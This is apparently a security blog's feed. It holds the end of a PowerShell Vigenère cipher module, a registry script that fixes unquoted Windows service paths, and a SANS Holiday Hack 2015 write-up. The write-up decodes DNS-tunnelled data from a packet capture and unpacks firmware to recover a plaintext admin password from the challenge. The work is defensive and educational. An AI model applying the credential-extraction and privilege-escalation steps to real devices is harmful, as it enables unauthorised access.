        Example   Txselzv    password

        .Example
        Get-VigEncipher -Plaintext &quot;Example With Spaces&quot; -Key &quot;password&quot; -Strip

        Plaintext         Ciphertext        Key
        ---------         ----------        ---
        Examplewithspaces TxselzvZxtzKlothh password

        .Example
        Get-VigEncipher -Plaintext &quot;Example With Spaces&quot; -Key &quot;password&quot; -Spacing 4

        Plaintext           Ciphertext            Key
        ---------           ----------            ---
        Example With Spaces Txse lzvZ xtzK loth h password

        .LINK
        https://github.com/stackcrash/PoshCiphers
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String[]] $Plaintext,
        [Parameter(Mandatory = $True, Position=1)]
        [String] $Key,
        [Parameter(Mandatory = $False, Position=2)]
        [String] $Spacing = 0,
        [Parameter()]
        [Switch]$Strip
    )
    Begin
    {
        #Create an array list to store results in
        $EncipheredMessages = New-Object System.Collections.ArrayList
    }
    Process
    {
        #Loop through each message
        ForEach ($Message in $Plaintext)
        {
            #Create an array list to store enciphered characters in
            $Enciphered = New-Object System.Collections.ArrayList
            #Get the Vigenere table for the key
            $Filter = Get-VigFilter -Key $Key
            #Set the index value to use with the filter
            $FilterIndex = 0
            If ($Strip)
            {
                #Remove whitespaces
                $Message = $Message -replace '\s', ''
            }
            #Loop though each character in the message
            ForEach ($Character in $Message.ToCharArray())
            {
                #Convert the character to ASCII code
                Switch ([Byte]$Character)
                {
                    #Encipher uppercase characters
                    {$_ -ge 65 -and $_ -le 90}
                    {
                        $Enciphered.Add([Char](($_ - 65 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 65)) | Out-Null
                        $FilterIndex += 1
                    }
                    #Encipher lowercase characters
                    {$_ -ge 97 -and $_ -le 122}
                    {
                        $Enciphered.Add([Char](($_ - 97 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 97)) | Out-Null
                        $FilterIndex += 1
                    }
                    #Pass through symbols and numbers
                    Default { $Enciphered.Add($Character) | Out-Null }
                }
            }
            #Join the results of the encipher
            $Ciphertext = $Enciphered -join &quot;&quot;
            #Check is spacing is used
            If ($Spacing -ge 1)
            {
                #Remove existing whitespaces
                $Ciphertext = $Ciphertext -replace '\s', ''
                #Split the ciphertext into the desired spacing
                $Ciphertext = ([RegEx]::Matches($Ciphertext, &quot;.{1,$Spacing}&quot;) | ForEach-Object { $_.Value }) -join ' '
            }
            #Add results of the encipher
            $EncipheredMessages.Add(([PSCustomObject]@{
                'Plaintext' = $Message
                'Ciphertext' = $Ciphertext
                'Key' = $Key
            })) | Out-Null
        }
    }
    End
    {
        #Return the array of PowerShell objects
        Return $EncipheredMessages
    }
}
</code></pre>
<h3 id="decipheringinpowershell">Deciphering in PowerShell</h3>
<p>Deciphering the Vigenère cipher is almost identical to enciphering. The difference is I manipulated the key array to make a key array specifically for the deciphering.</p>
<pre><code class="language-powershell">$Filter = Get-VigFilter -Key $Key | ForEach-Object { (26 - $_) % 26 }
</code></pre>
<p>Basically, the above snippet simply generates the key array and then loops through each element subtracting it from <em>26</em> and applying the modulo of <em>26</em>. This alters the array so that it can be applied in the same formulas as the enciphering but return the deciphered value instead of the enciphered value.</p>
<h5 id="getvigdecipher">Get-VigDecipher</h5>
<pre><code class="language-powershell">Function Get-VigDecipher
{
    &lt;# 
        .Synopsis
        Deciphers message(s) that has been enciphered with a Vigenere cipher.

        .Description
        Deciphers message(s) that has been enciphered with a Vigenere cipher.

        .Parameter Ciphertext
        The enciphered message(s) to be deciphered.

        .Parameter Key
        The key to use in the deciphering.
        Note: The key is case-insensitive.
        
        .Parameter Strip
        Removes whitespaces from the ciphertext message(s).

        .Example
        Get-VigDecipher -Ciphertext &quot;Txselzv&quot; -Key &quot;password&quot;

        Plaintext Ciphertext Key
        --------- ---------- ---
        Example   Txselzv    password

        .Example
        Get-VigDecipher -Ciphertext &quot;Txse lzvZ xtzK loth h&quot; -Key &quot;password&quot; -Strip

        Plaintext         Ciphertext        Key
        ---------         ----------        ---
        ExampleWithSpaces TxselzvZxtzKlothh password

        .LINK
        https://github.com/stackcrash/PoshCiphers
    #&gt;
    [CmdletBinding()]
    Param
    (
        [Parameter(Mandatory = $True, Position=0, ValueFromPipeline=$True)]
        [String[]] $Ciphertext,
        [Parameter(Mandatory = $True, Position=1)]
        [String] $Key,
        [Parameter()]
        [Switch]$Strip
    )
    Begin
    {
        #Create an array list to store results in
        $DecipheredMessages = New-Object System.Collections.ArrayList
    }
    Process
    {
        #Loop through each ciphertext
        ForEach ($Message in $Ciphertext)
        {
            #Create an array list to store deciphered characters in
            $Deciphered = New-Object System.Collections.ArrayList
            #Get the Vigenere table for the key
            $Filter = Get-VigFilter -Key $Key | ForEach-Object { (26 - $_) % 26 }
            #Set the index value to use with the filter
            $FilterIndex = 0
            If ($Strip)
            {
                #Remove whitespaces
                $Message = $Message -replace '\s', ''
            }
            #Loop though each character in the message
            ForEach ($Character in $Message.ToCharArray())
            {
                #Convert the character to ASCII code
                Switch ([Byte]$Character)
                {
                    #Encipher uppercase characters
                    {$_ -ge 65 -and $_ -le 90}
                    {
                        $Deciphered.Add([Char](($_ - 65 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 65)) | Out-Null
                        $FilterIndex += 1
                    }
                    #Encipher lowercase characters
                    {$_ -ge 97 -and $_ -le 122}
                    {
                        $Deciphered.Add([Char](($_ - 97 + $Filter[$FilterIndex % $Filter.Length]) % 26 + 97)) | Out-Null
                        $FilterIndex += 1
                    }
                    #Pass through symbols and numbers
                    Default { $Deciphered.Add($Character) | Out-Null }
                }
            }
            #Add results of the decipher
            $DecipheredMessages.Add(([PSCustomObject]@{
                'Plaintext' = $Deciphered -join &quot;&quot;
                'Ciphertext' = $Message
                'Key' = $Key
            })) | Out-Null
        }
    }
    End
    {
        #Return the results
        Return $DecipheredMessages
    }
}
</code></pre>
<h2 id="theendishere">The end is here</h2>
<p>With the functions to encipher and decipher both the Caesar and Vigenère ciphers completed I wrapped it all into a module and performed a few test to make sure it all worked together appropriately.</p>
<h2 id="orisit">Or is it</h2>
<p><s>I am proud of the results of my first module, but I definitely want to do more with it hence the <em>Part 1</em> in the title. My current goal is to build in brute forcing for both of the ciphers.</s> After that I want to build support for some other ciphers commonly found in CTFs because the ultimate end goal is to make a robust module for cryptography portions of CTFs. If anyone has specific request feel free to do a feature request on the GitHub project for the module.</p>
]]></content:encoded></item><item><title><![CDATA[Fixing Unquoted Search Paths Using Powershell]]></title><description><![CDATA[<!--kg-card-begin: markdown--><!--kg-card-begin: markdown--><h1 id="update">Update</h1>
<p>I recieved an email identifying an issue and providing a potential solution. The issue was the script would expand environmental variables in paths which could break when the wrong path is expanded (32bit vs 64bit). The solution proposed was elegant however it introduced potential false negatives. With the addtion</p>]]></description><link>https://www.itsecguy.com/fixing_unquoted/</link><guid isPermaLink="false">5b4ea0ad43bdde04b66f11fe</guid><category><![CDATA[PowerShell]]></category><category><![CDATA[Unqoted Search Path]]></category><category><![CDATA[Vulnerability Remediation]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Sat, 17 Sep 2016 21:08:41 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2017/02/unquoted_service.png" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><!--kg-card-begin: markdown--><h1 id="update">Update</h1>
<img src="https://www.itsecguy.com/content/images/2017/02/unquoted_service.png" alt="Fixing Unquoted Search Paths Using Powershell"><p>I recieved an email identifying an issue and providing a potential solution. The issue was the script would expand environmental variables in paths which could break when the wrong path is expanded (32bit vs 64bit). The solution proposed was elegant however it introduced potential false negatives. With the addtion on an if statement and some other changes I was able to incorporate the solution into the script without introducing false negatives. I have updated the script on this page and also have created a <a href="https://github.com/StackCrash/Fix-Unquoted">GitHub</a> repo for the script which will have the latest versions should any more changes be made.</p>
<h1 id="background">Background</h1>
<p>Unquoted search paths are a relatively older vulnerability that occurs when the path to an executable service or program (commonly uninstallers) are unquoted and contain spaces. The spaces can allow someone to place their own executable in the path and get it to be executed instead. With services or uninstalls this will allow their executable to be run with escalated privileges.</p>
<p>Microsoft has actually done a pretty good job at not introducing the vulnerability through their products (there are a few that still will do it). Unfortunately, many 3rd party applications have not done a very good job at this. Even worse many will pretend its not a vulnerability in their software and therefore not their problem despite being a <a href="https://cwe.mitre.org/data/definitions/428.html">CWE</a>.</p>
<p>Nessus Plugin: <a href="https://www.tenable.com/plugins/index.php?view=single&amp;id=63155">https://www.tenable.com/plugins/index.php?view=single&amp;id=63155</a><br>
Nexpose Plugin: <a href="https://www.rapid7.com/db/vulnerabilities/windows-unquoted-search-path-or-element">https://www.rapid7.com/db/vulnerabilities/windows-unquoted-search-path-or-element</a></p>
<h1 id="remediation">Remediation</h1>
<p>Remediating this particular vulnerability is easy at a small scale. You simply open <code>RegEdit</code> and put double quotes around the executable path in the <code>ImagePath</code> or <code>UninstallString</code> property. As you might be thinking already doing this at any large scale such as multiple applications or endpoints could be very time consuming.</p>
<h2 id="powershelltotherescue">PowerShell to the rescue</h2>
<p>Thankfully, there is PowerShell and it can definitely help with the problem of quickly remediating this vulnerability on a large scale. It was this particular vulnerability that started my dive into PowerShell and recently some coworkers suggested I share my solution so here we are. My first attempt was messy to say the least. I simply exported to a csv the results from the vulnerability scanners and created a script to read the CSV and correct the entries listed. This took a decent amount of time to run against many endpoints and was only as accurate as the scanners. Thinking back to the a golden rule of scripts I rewrote the script to find and correct the vulnerable entries itself.</p>
<p>The second version of my script worked decent enough. It did unfortunately have some limitations. The script would not correct any entries that did not end with <code>.exe</code> nor would it be able to tell if the entry had a space in the path to the executable. Not satisfied with the solution I made I revisited it several months later after I gained a lot more experience with PowerShell.</p>
<h3 id="thethirdtimesthecharm">The third times the charm</h3>
<p>The third version is the one I am sharing today. This version is able to correct entries that don’t end in <code>.exe</code> along with being smart enough to only care about the entries that have a space in the executable path. I am going to start by breaking down each part of the script before sharing it as a whole so if you only want the script and nothing else skip ahead.</p>
<h4 id="thebreakdown">The breakdown</h4>
<p>The first thing the script needs to do is know where to look. In Windows there are three common locations to look at.</p>
<pre><code class="language-powershell">$BaseKeys = &quot;HKLM:\System\CurrentControlSet\Services&quot;,                                  #Services
            &quot;HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall&quot;,                #32bit Uninstalls
            &quot;HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&quot;     #64bit Uninstalls
</code></pre>
<p>With the script knowing where to look, the next challenge is actually looking.</p>
<pre><code class="language-powershell">$DiscKeys = Get-ChildItem -Recurse -Directory $BaseKeys -Exclude $BlackList -ErrorAction SilentlyContinue |
            Select-Object -ExpandProperty Name | %{($_.ToString().Split('\') | Select-Object -Skip 1) -join '\'}
</code></pre>
<p>The above will recursively find all registry keys in the three locations from earlier. Additionally, it does some formatting on the results to make them usable later on. Some might be noticing a variable called <code>$BlackList</code> and the <code>-Exclude</code> flag. Unfortunately, sometimes there are entries you can’t correct because they are “protected” one example would be an endpoint security product I have ran into, which speaks volumes about their own approach to security. To keep the script from trying to do something it can’t there is the blacklist. Now that the script has all the keys it needs to find the ones that have properties.</p>
<pre><code class="language-powershell">$Registry = [Microsoft.Win32.RegistryKey]::OpenBaseKey('LocalMachine', 'Default')
ForEach ($RegKey in $DiscKeys)
</code></pre>
<p>The script opens the Registry on the local machine (needed for later) and then proceeds to loop through the discovered registry keys.</p>
<pre><code class="language-powershell">Try { $ParentKey = $Registry.OpenSubKey($RegKey, $True) }
Catch { Write-Debug &quot;Unable to open $RegKey&quot; }
 
If ($ParentKey.ValueCount -gt 0)
</code></pre>
<p>With each discovered registry key the script opens it in writable mode and checks if it has one or more properties. Since the script now knows if each discovered key has properties it needs to find the properties it actually cares about.</p>
<pre><code class="language-powershell">$MatchedValues = $ParentKey.GetValueNames() | ?{ $_ -eq &quot;ImagePath&quot; -or $_ -eq &quot;UninstallString&quot; }
ForEach ($Match in $MatchedValues)
</code></pre>
<p>First, the script gets all the registry properties in the current key that are named either <code>ImagePath</code> or <code>UninstallString</code>. It will then loop through all of the matching properties it found in the current key. Of course the script needs to find the properties that have the vulnerability so that was the next part to solve.</p>
<pre><code class="language-powershell">$ValueRegEx = '(^(?!\u0022).*\s.*\.[Ee][Xx][Ee](?&lt;!\u0022))(.*$)'
$Value = $ParentKey.GetValue($Match)
If ($Value -match $ValueRegEx)
</code></pre>
<p>So, this part looks relatively simple but it took sometime to be comfortable with regular expressions enough to be able to write one that replaced a very large set of nested if statements in the previous version of the script. For those who might not understand what the regular expression is doing I will break it down.</p>
<p>First, there are two sets of parenthesizes that encapsulate parts of the regular expression. These are needed for the if statement that checks if the variable <code>$Value</code> matches the regular expression. In PowerShell when you call <code>-match</code> it will return a boolean of either true or false. Additionally, it will also store the matched part in a variable called <code>$Matches</code>. The parenthesizes are sort of like a split in the regular expression and will cause there to be two distinct entries in the <code>$Matches</code> for each part. This is how the script can handle entries that don’t end in <code>.exe</code>.</p>
<p>Inside the first set of parenthesizes are two lookarounds one being a negative lookahead, <code>(?!\u0022)</code>, and a negative lookbehind, <code>(?&lt;!\u0022)</code>. The unicode 0022 is a double quote. What these accomplish is a check if the path is already encapsulated by double quotes because we don’t want to add more double quotes. There is also a <code>.*\s.*</code> inside the regular expression. This part matches anything containing a space, and is how the script knows there is a space in the path. Immediately after that, is a <code>\.[Ee][Xx][Ee]</code> which is a check for <code>.exe</code> while not being limited to lowercase or uppercase.</p>
<p>The last set of parenthesizes contains a simple <code>.*$</code> which is a wildcard to match everything else to the end of the entry. An example of a situation where this occurs is when an entry contains a path to an executable along with arguments for the executable.</p>
<p>The script then checks the current property to the regular expression. After this is where correcting the entry comes into play.</p>
<pre><code class="language-powershell">$RegType = $ParentKey.GetValueKind($Match)
$Correction = &quot;$([char]34)$($Matches[1])$([char]34)$($Matches[2])&quot;
Try { $ParentKey.SetValue(&quot;$Match&quot;, &quot;$Correction&quot;, [Microsoft.Win32.RegistryValueKind]::$RegType) }
Catch { Write-Debug &quot;Unable to write to $ParentKey&quot; }
</code></pre>
<p>First, the type of property it is is stored into a variable for use when applying the correction. If you remember the part I wrote about <code>$Matches</code> and the two distinct entries that are generated from the regular expression, the second action here is where the script uses those to generate a new entry that has the executable path encapsulated by double quotes. Lastly, the script then attempts to write the changes to the property. <s>One thing to note here unfortunately in entries where environmental variables are used such as <code>%programfiles%</code> it expands the variable so the new entry would have <code>C:\Program Files</code> instead of the environmental variable. I haven’t been able to resolve this yet.</s></p>
<p>The last thing the script does which is more of a precaution than anything else is it will generate a hash table containing the property path, its type, the old value and the new value. I do this for potential logging purposes so that should something go wrong a person can easily revert the key back to its original entry.</p>
<pre><code class="language-powershell">$Values.Add((New-Object PSObject -Property @{
&quot;Name&quot; = $Match
&quot;Type&quot; = $RegType
&quot;Value&quot; = $Value
&quot;Correction&quot; = $Correction
&quot;ParentKey&quot; = &quot;HKEY_LOCAL_MACHINE\$RegKey&quot;
})) | Out-Null
</code></pre>
<h4 id="fullscript">Full script</h4>
<p>Below is all the parts put together into the full script.<br>
<strong>Note: the script requires PowerShell v3 or greater.</strong></p>
<pre><code class="language-powershell">$BaseKeys = &quot;HKLM:\System\CurrentControlSet\Services&quot;,                                  #Services
            &quot;HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall&quot;,                #32bit Uninstalls
            &quot;HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall&quot;     #64bit Uninstalls
#Blacklist for keys to ignore
$BlackList = $Null
#Create an ArrayList to store results in
$Values = New-Object System.Collections.ArrayList
#Discovers all registry keys under the base keys
$DiscKeys = Get-ChildItem -Recurse -Directory $BaseKeys -Exclude $BlackList -ErrorAction SilentlyContinue |
            Select-Object -ExpandProperty Name | %{($_.ToString().Split('\') | Select-Object -Skip 1) -join '\'}
#Open the local registry
$Registry = [Microsoft.Win32.RegistryKey]::OpenBaseKey('LocalMachine', 'Default')
ForEach ($RegKey in $DiscKeys)
{
    #Open each key with write permissions
    Try { $ParentKey = $Registry.OpenSubKey($RegKey, $True) }
    Catch { Write-Debug &quot;Unable to open $RegKey&quot; }
    #Test if registry key has values
    If ($ParentKey.ValueCount -gt 0)
    {
        $MatchedValues = $ParentKey.GetValueNames() | ?{ $_ -eq &quot;ImagePath&quot; -or $_ -eq &quot;UninstallString&quot; }
        ForEach ($Match in $MatchedValues)
        {
            #RegEx that matches values containing .exe with a space in the exe path and no double quote encapsulation
            $ValueRegEx = '(^(?!\u0022).*\s.*\.[Ee][Xx][Ee](?&lt;!\u0022))(.*$)'
            $Value = $ParentKey.GetValue($Match)
            #Test if value matches RegEx
            If ($Value -match $ValueRegEx)
            {
                $RegType = $ParentKey.GetValueKind($Match)
                If ($RegType -eq &quot;ExpandString&quot;)
                {
                    #RegEx to generate an unexpanded string to use for correcting
                    $ValueRegEx = '(^(?!\u0022).*\.[Ee][Xx][Ee](?&lt;!\u0022))(.*$)'
                    #Get the value without expanding the environmental names
                    $Value = $ParentKey.GetValue($Match, $Null, [Microsoft.Win32.RegistryValueOptions]::DoNotExpandEnvironmentNames)
                    $Value -match $ValueRegEx
                }
                #Uses the matches from the RegEx to build a new entry encapsulating the exe path with double quotes
                $Correction = &quot;$([char]34)$($Matches[1])$([char]34)$($Matches[2])&quot;
                #Attempt to correct the entry
                Try { $ParentKey.SetValue(&quot;$Match&quot;, &quot;$Correction&quot;, [Microsoft.Win32.RegistryValueKind]::$RegType) }
                Catch { Write-Debug &quot;Unable to write to $ParentKey&quot; }
                #Add a hashtable containing details of corrected key to ArrayList
                $Values.Add((New-Object PSObject -Property @{
                &quot;Name&quot; = $Match
                &quot;Type&quot; = $RegType
                &quot;Value&quot; = $Value
                &quot;Correction&quot; = $Correction
                &quot;ParentKey&quot; = &quot;HKEY_LOCAL_MACHINE\$RegKey&quot;
                })) | Out-Null
            }
        }
    }
    $ParentKey.Close()
}
$Registry.Close()
$Values | Select-Object ParentKey,Value,Correction,Name,Type
</code></pre>
<p><img src="https://www.itsecguy.com/content/images/2017/02/powershell.png" alt="Fixing Unquoted Search Paths Using Powershell"></p>
<h2 id="deployingtheusageofthescript">Deploying the usage of the script</h2>
<p>Now since the script is designed purely to run on the local endpoint automating its use is the final hurdle that has to be accomplished. Luckily, this is pretty easy. The simplest way would to make it run on startup either through a local task schedule or through a GPO. If your enviroment uses SCCM then it can be deployed through a configuration baseline however it will require some tweaking in order to have the compliance check function without actually executing any corrections. If none of those are an option you could always run it manually through PowerShell Remoting or on each endpoint itself.</p>
<!--kg-card-end: markdown--><!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[The 2015 SANS Holiday Hack Challenge - Write-Up]]></title><description><![CDATA[<h1 id="introduction"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Introduction</h1>
<p>It was the holiday season, and time for the <a href="https://www.holidayhackchallenge.com/">SANS Holiday Hack Challenge</a> for 2015. I had not participated in the previous years but I recently started participating in CTFs and other challenges and this one looked like a fun challenge. The Counter Hack team even made an 8bit</p>]]></description><link>https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/</link><guid isPermaLink="false">5b4ea0ad43bdde04b66f11fc</guid><category><![CDATA[Challenges]]></category><category><![CDATA[SANSHolidayChallenge]]></category><category><![CDATA[2015]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Wed, 06 Jan 2016 10:38:12 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2017/02/hack_quest-2.jpg" medium="image"/><content:encoded><![CDATA[<h1 id="introduction"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Introduction</h1>
<img src="https://www.itsecguy.com/content/images/2017/02/hack_quest-2.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"><p>It was the holiday season, and time for the <a href="https://www.holidayhackchallenge.com/">SANS Holiday Hack Challenge</a> for 2015. I had not participated in the previous years but I recently started participating in CTFs and other challenges and this one looked like a fun challenge. The Counter Hack team even made an 8bit game out of it. Each part of the challenge has a set of questions to answer.</p>
<p><em><strong>Note: this isn’t the complete write-up I submitted, I did not include the answers and the post is in a different format.</strong></em></p>
<h2 id="thegame"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Game</h2>
<p>The game is premised by a new toy (little gnomes) being the new rage for the holidays. A father, Duke Dosis, finds one at a local store hidden behind some other toys and brought it home for his children, Jess and Josh.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/hack_quest.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h1 id="part1danceofthesugargnomefairiescuriouswirelesspackets"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Part 1: Dance of the Sugar Gnome Fairies: Curious Wireless Packets</h1>
<h2 id="thechallenge"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Challenge</h2>
<p>In this part I started by talk to Josh Dosis in game where he gives the player a PCAP of wireless packets he captured from the gnome.</p>
<p><img src="https://www.itsecguy.com/content/images/2017/02/wireshark_warning.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<p>After the warning I noticed the PCAP appeared to be out of order. Further, investigation shows there are several DNS queries that contain BASE64 code. When talking with Josh some more he reveals he was working on a Python script to decode and extract whatever is being sent through DNS.</p>
<pre><code class="language-python">#!/usr/bin/env python
# Copyright (c) 2105 Josh Dosis
import base64
from scapy.all import *     # This script requires Scapy
 
# Read the capture file into a list of packets
packets=rdpcap(&quot;giyh-capture.pcap&quot;)
 
# Open the output file to save the extracted content from the pcap
fp=open(&quot;outfile&quot;,&quot;wb&quot;)
 
for packet in packets:
 
   # Make sure this is a DNS packet, with the rdata record where the content is stored
   if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):
 
       # Make sure it's from the Gnome, not the server
       if packet.sport != 53: continue
 
       # Decode the base64 data
       decode=base64.b64decode(packet[DNSRR].rdata[1:])
 
       # Strip off the leading &quot;FILE:&quot; line in the decoded data
       if decode[0:5] == &quot;FILE:&quot;:           
           fp.write(decode[5:])
 
fp.close()
</code></pre>
<p>Josh is on the right track but for everything to work a few changes are needed. First, the capture needs to be sorted so that the BASE64 is extracted in the correct order as well. Reviewing the file generated after that in a hex editor reveals near the end a familiar set of hex that indicates the file is a JPEG image. Further adapting of the script allowed me to extract the image that was sent through DNS.</p>
<pre><code class="language-python">#!/usr/bin/env python
import base64
from scapy.all import *     # This script requires Scapy
# Read the capture file into a list of packets
packets=rdpcap(&quot;giyh-capture.pcap&quot;)
# Sort the packets
packets=sorted(packets, key=lambda ts: ts.time)
# Open the output file to save the extracted content from the pcap
fp=open(&quot;gnome-spy.jpg&quot;,&quot;wb&quot;)
image=''
for packet in packets:
   # Make sure this is a DNS packet, with the rdata record where the content is stored
   if (DNS in packet and hasattr(packet[DNS], 'an') and hasattr(packet[DNS].an, 'rdata')):
      # Make sure it's from the Gnome, not the server
      if packet.sport != 53: continue
      # Decode the base64 data
      decode=base64.b64decode(packet[DNSRR].rdata[1:])
      # Strip off the leading &quot;FILE:&quot; line in the decoded data
      if decode[0:5] == &quot;FILE:&quot;:           
         image+=decode[5:]
# Find header of JPEG image
start=image.find('\xff\xd8\xff\xe0')
# Find end of JPEG image
end=image.find('\xff\xd9') + 2
# Write the JPEG
fp.write(image[start:end])        
fp.close()
</code></pre>
<p><img src="https://www.itsecguy.com/content/images/2017/02/extracted-image.jpg" alt="The 2015 SANS Holiday Hack Challenge - Write-Up"></p>
<h1 id="part2illbegnomeforchristmasfirmwareanalysisforfunandprofit"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>Part 2: I’ll be Gnome for Christmas: Firmware Analysis for Fun and Profit</h1>
<h2 id="thechallenge"><a href="https://www.itsecguy.com/the-2015-sans-holiday-hack-challenge-write-up/"></a>The Challenge</h2>
<p>The second part of this challenge sent me to Jessica Dosis who has dumped the firmware from the gnome. In game Jessica provided me with a copy of the firmware she dumped so I started by running Binwalk against it.</p>
<pre><code class="language-command-line">binwalk giyh-firmware-dump.bin 
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PEM certificate
1809          0x711           ELF 32-bit LSB shared object, ARM, version 1 (SYSV)
168803        0x29363         Squashfs filesystem, little endian, version 4.0, compression:gzip, size: 17376149 bytes,  4866 inodes, blocksize: 131072 bytes, created: Tue Dec  8 11:47:32 2015
</code></pre>
<p>Thanks to Binwalk I now know the firmware is in the SquashFS format and I have the decimal value for the header for SquashFS. Additionally, I know the gnome is running on a 32bit ARM device. Now I want to extract the file system from the firmware. Using dd I successfully extracted the filesystem.</p>
<pre><code class="language-command-line">dd if=giyh-firmware-dump.bin of=giyh-firmware-dump.squash bs=1 skip=168803
17379937+0 records in
17379937+0 records out
17379937 bytes (17 MB) copied, 33.1661 s, 524 kB/s
</code></pre>
<p>The bs option in the dd command sets dd to read one byte at a time and the skip option allows me to skip to the SquashFS header. Binwalk can be run again on the new file giyh-firmware-dump.squash to check if I successfully extracted the file system. The next step I needed to perform is to unpack the file system. To do this I used firmware-mod-kit to unpack the file system into a directory of my choosing.</p>
<pre><code class="language-command-line">/opt/firmware-mod-kit/trunk/unsquashfs_all.sh giyh-firmware-dump.squash giyh-firmware/
Attempting to extract SquashFS .X file system...
 
 
Trying ./src/squashfs-2.1-r2/unsquashfs-lzma... 
Trying ./src/squashfs-2.1-r2/unsquashfs... 
Trying ./src/squashfs-3.0/unsquashfs-lzma... 
Trying ./src/squashfs-3.0/unsquashfs... 
Trying ./src/squashfs-3.0-lzma-damn-small-variant/unsquashfs-lzma... 
Trying ./src/others/squashfs-2.0-nb4/unsquashfs... 
Trying ./src/others/squashfs-3.0-e2100/unsquashfs-lzma... 
Trying ./src/others/squashfs-3.0-e2100/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-hg612-lzma/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-wnr1000/unsquashfs... 
Trying ./src/others/squashfs-3.2-r2-rtn12/unsquashfs... 
Trying ./src/others/squashfs-3.3/unsquashfs... 
Trying ./src/others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools/unsquashfs... 
Trying ./src/others/squashfs-3.4-cisco/unsquashfs... 
Trying ./src/others/squashfs-3.4-nb4/unsquashfs-lzma... 
Trying ./src/others/squashfs-3.4-nb4/unsquashfs... 
Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 2 processors
3936 inodes (5763 blocks) to write
 
[=================================\                                                                                                 ] 1497/5763  25%File system sucessfully extracted!
MKFS=&quot;./src/others/squashfs-4.2-official/mksquashfs&quot;
[==================================================================================================================================|] 5763/5763 100%
created 3899 files
created 930 directories
created 37 symlinks
created 0 devices
created 0 fifos
</code></pre>
<p><code>Note: An alternative to using dd and firmware-mod-kit is to simply use Binwalk with the -e option.</code><br>
Browsing through the file system there are some noteworthy files. First, I try and locate what the firmware is running as far as an OS. Inside the etc/ directory I find two files that help me identify this information, <code>openwrt_version</code> and <code>openwrt_release</code>.</p>
<pre><code class="language-command-line">cat etc/openwrt_version
r47650
 
cat etc/openwrt_release 
DISTRIB_ID='OpenWrt'
DISTRIB_RELEASE='Bleeding Edge'
DISTRIB_REVISION='r47650'
DISTRIB_CODENAME='designated_driver'
DISTRIB_TARGET='realview/generic'
DISTRIB_DESCRIPTION='OpenWrt Designated Driver r47650'
DISTRIB_TAINTS=''
</code></pre>
<p>Now I know the gnomes are operating on OpenWRT and the version they run. The second file is index.js which is inside the <code>www/routes/</code> directory. This file appears to be the source code for the command and control WebUI. Reviewing index.js reveals the interface is running off of NodeJS. Additionally, inside the etc/directory there is mongod.conf which is a configuration file for MongoDB.</p>
<pre><code class="language-javascript"># LOUISE: No logging, YAY for /dev/null
# AUGGIE: Louise, stop being so excited to basic Unix functionality
# LOUISE: Auggie, stop trying to ruin my excitement!
 
systemLog:
  destination: file
  path: /dev/null
  logAppend: true
storage:
  dbPath: /opt/mongodb
net:
  bindIp: 127.0.0.1
</code></pre>
<p>The configuration file gives me the location of the MongoDB database directory. The wonderful thing about databases is developers/DBAs often leave information inside unprotected in plain-text. So I use the strings function to check if I can see anything interesting in the database.</p>
<pre><code class="language-command-line">strings opt/mongodb/gnome.0 
...
username
admin
password
SittingOnAShelf
...
</code></pre>
<p>As expected the admin user and its password were stored in the database in plain-text.<br>
Another area I check is what is started when the OS boots. Since OpenWRT uses the Linux kernel I check <code>etc/rc.d/</code> for anything interesting.</p>
<pre><code class="language-command-line">ls -al etc/rc.d/
…
lrwxrwxrwx  1 root root   17 Jan  3 14:55 S98sgstatd -&gt; ../init.d/sgstatd
…
</code></pre>
<p>The program sgstatd is unfamiliar and following the symbolic link I view <code>etc/init.d/sgstatd</code> and see it’s a custom executable for the gnomes.</p>
<pre><code class="language-bash">#!/bin/sh /etc/rc.common
# BUGID: 570523-1
# OWNER: STUART
#  LOUISE: The sgstatd process fails to start on the Gnome hardware.
#  LOUISE: I rewrote the startup script, testing in DEV works fine. Closing ticket.
#  LOUISE changed status from OPEN to CLOSED
#  AUGGIE: Process still fails to startup, re-opening ticket.
#  AUGGIE changed status from CLOSED to OPEN
#  LOUISE: It works just find in DEV Auggie.
#  NEDFORD: Confirm process fails to startup, delegate to Stuart for resolution.
#  LOUISE: Status on this Stuart?
#  NEDFORD changed owner from LOUISE to STUART
